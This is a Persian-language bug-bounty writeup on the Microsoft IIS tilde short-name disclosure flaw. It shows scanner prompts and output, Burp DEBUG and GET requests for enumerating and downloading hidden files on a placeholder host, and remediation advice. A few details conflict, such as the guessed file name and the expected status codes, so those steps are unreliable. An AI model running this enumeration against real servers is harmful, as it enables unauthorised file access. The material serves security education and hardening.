رایتاپ
File Disclosure & Tilde Character Vulnerability in Microsoft IIS writeup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

اسیب پذیری Tilde به افشای نام کوتاه فایل یا پوشه های سرور IIS با استفاده از کاراکتر (~) اشاره می کند. امکان تشخیص نام‌های کوتاه فایل‌ها و دایرکتوری‌ها با نام‌هایی با فرمت 8.3 وجود دارد. این روش نام‌گذاری در مایکروسافت IIS وجود دارد و در بعضی از نسخه‌های IIS آسیب‌پذیر است. شناسایی وجود فایل‌ها در وب سرور بر اساس نوع ریسپانس گرفته شده از وب سرور بررسی می‌شود که سرور پاسخ 404 برمی‌گرداند که نشان دهنده وجود این آسیب‌پذیری است و 400 نشان دهنده عدم وجود است.

نام فایل‌ها در وب سرور با 6 کاراکتر نخست ذخیره شده و ادامه نام فایل با تیلد نامگذاری می‌شود. آسیب‌پذیری به دلیل ویژگی استفاده از کاراکتر تیلد در ریکوئست GET است که اجازه شناسایی وجود فایل‌ها را از بیرون از سازمان می‌دهد. مهاجم با شناسایی وجود فایل‌هایی که بصورت عمومی در دسترس نیستند، می‌تواند با بروت فورس ادامه نام فایل را به دست اورده و به خود فایل دسترسی یابد.

نحوه تست:

یکی از راه های اکسپلویت، استفاده از ابزار IIS-ShortName-Scanner می‌باشد. پس از دانلود و اجرا کردن این ابزار می‌توانید با طی کردن پنج مرحله زیر تارگت را در برابر آسیب پذیری tilde بررسی نمائید.

  • What is the target (e.g. http://localhost:8080/folder/)? تارگت خود را وارد نمایید(ادرس شما حتما باید دارای https یا http باشد)

  • Do you want to use a new config file [Y=Yes, Anything Else=No]? آیا می خواهید از یک فایل پیکربندی جدید استفاده کنید؟ (Y=ساخت کانفیگ جدید N=ادامه با کانفیگ قبلی)

  • Do you want to only verify whether or not the target is vulnerable without scanning it thoroughly [Y=Yes, Anything Else=No]? آیا می‌خواهید فقط بدون اسکن کردن کامل هدف، آسیب‌پذیر بودن یا نبودن آن را تأیید کنید(Y=بله  N=مورد دیگری مدنظر است)

  • Scan Mode [0=Show final results only, 1=Show final results step by step, 2=Show Progress (default)]? حالت اسکن به چه صورت باشد؟ (0=فقط نمایش نتیجه نهایی  1=نمایش نتیجه نهایی به صورت مرحله ای  2=نمایش کامل)

  • Number of threads [0-50 (20 default)]? تعداد thread های همزمان اسکن چند است؟

  • پس از طی کردن مراحل بالا در صورت آسیب پذیر بودن فایل هایی که ابزار پیدا میکند را نمایش میدهد.

 # IIS Short Name (8.3) Scanner version 2.3.9 (05 February 2017) - scan initiated Target: https://test.example.ir/ |_ Result: Vulnerable! |_ Used HTTP method: DEBUG |_ Suffix (magic part): \a.aspx |_ Extra information: |_ Number of sent requests: 19474 |_ Identified directories: 26 |_ APP_GL~1 |_ ASPNET~1 |_ ATTACH~1 |_ TEMPLA~1 |_ USERSF~1 |_ WEBREF~1 |_ Indentified files: 101 |_ 117BC3~1.3 |_ Actual extension = .3 |_ 1401~1.HTM |_ Actual file name = 1401 |_ 401~1.HTM |_ Actual file name = 401 |_ AGAHI-~1.DOC |_ ANDROI~1.PDF |_ TAGHVI~1.PDF |_ BAKHSH~1.RAR |_ Actual extension = .VB |_ FIROZE~1.JPG |_ Actual file name = INDEX … 
  • حالا لیستی از فایل ها را به دست آورده ایم که در سرور موجود می‌باشد. با حدس زدن اسم یا بروت فورس زدن بر روی نام ها می‌توان آنها را دانلود کرد و یا برای بررسی وجود فایل از burpsuite استفاده می‌نماییم. 
  • در لیست بالا که ابزار آن را ارائه کرد فایلی به نام TAGHVI~1.PDF را مشاهده کردیم، می توان حدس زد که اسم کامل فایل تقویم میباشد. پس اسم فایل را به TAGHVIM.PDF تغییر میدهیم و ریکوست زیر را در Repeater ابزار burpsuite ارسال میکنیم:
 DEBUG /TAGHVIM~1.PDF HTTP/2 Host: www.test.example.ir Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 
  • ریسپانس بصورت زیر میباشد.
 HTTP/2 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Content-Length: 1245 
  • سرور پاسخ 404 را برمی‌گرداند که نشان دهنده وجود فایل روی سرور است. در ادامه قسمت ~1 را حدس یا با استفاده از brute force پیدا می‌کنیم. در صورتیکه اسم کامل فایل پیدا شود پاسخ سرور به 405 تغییر پیدا می‌کند و متد را از DEBUG به GET تغییر داده شود:
 GET /TAGHVIM-1401.PDF HTTP/2 Host: www.test.example.ir Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 
  • نمایش پاسخ برگردانده شده، در مرورگر منجر به دسترسی به فایل و دانلود آن می‌شود. از این تغییر هر فایلی که در سرور آسیب پذیر وجود دارد و یا فایلهایی که در آینده قرار داده میشود آسیب پذیر به دسترسی غیرمجاز هستند:

 HTTP/2 200 OK Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Server: Microsoft-IIS/10.0 Content-Length: 1012703 

راهکار ایمن سازی:

  • پیکربندی صحیح وف برای بلاک نمودن درخواستهای تیلد یا یونیکد آن

  • پیاده سازی مکانیزم ارور هندلینگ

  • پیاده سازی مکانیزم URL Rewrite 

  • به‌روزرسانی IIS و .Net

  • پیاده‌سازی مکانیزم محدودیت تعداد درخواست